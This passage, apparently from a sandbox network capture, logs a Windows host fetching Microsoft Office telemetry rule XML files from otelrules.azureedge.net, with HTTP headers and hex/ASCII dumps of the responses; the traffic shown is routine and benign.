2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: fba86ca6-e01e-00aa-5200-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112654Z-1657d5bbd4824mj9d6vp65b6n400000003g000000000gcs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 961c0255-701e-005c-1406-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48xsz2nuzq4vfrzg8000000037000000000c7tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: c55b1dc3-701e-0097-42e9-16b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd4824mj9d6vp65b6n400000003k000000000c0ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 401481e1-301e-0099-6a5a-176683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48qjg85buwfdynm5w00000003e000000000cs8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 7cb43a82-e01e-0033-45fe-164695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48vlsxxpe15ac3q7n000000039000000000e65z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 9139889b-001e-0079-22f3-1612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48cpbzgkvtewk0wu000000003fg000000009p8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49849	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:55 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 626a0b0f-301e-006e-6de9-16f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48q6t9vvmrkd293mg00000003fg000000001pvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:55 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: d51e0a59-d01e-005a-6cfe-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48f7nlxc7n5fnfzh00000000320000000007r0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:55 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:55 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 52e1fc95-301e-006e-0a6b-17f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112655Z-1657d5bbd48dfrdj7px744zp8s0000000350000000009h54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49852	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:56 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: a1812648-601e-0002-69fe-16a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48vhs7r2p1ky7cs5w00000003ug000000000yq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49853	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:56 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 72218525-801e-002a-7701-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48qjg85buwfdynm5w00000003eg00000000bw4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49854	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:56 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:56 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: b87c1558-301e-0020-2414-176299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112656Z-1657d5bbd48gqrfwecymhhbfm8000000024000000000fu1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
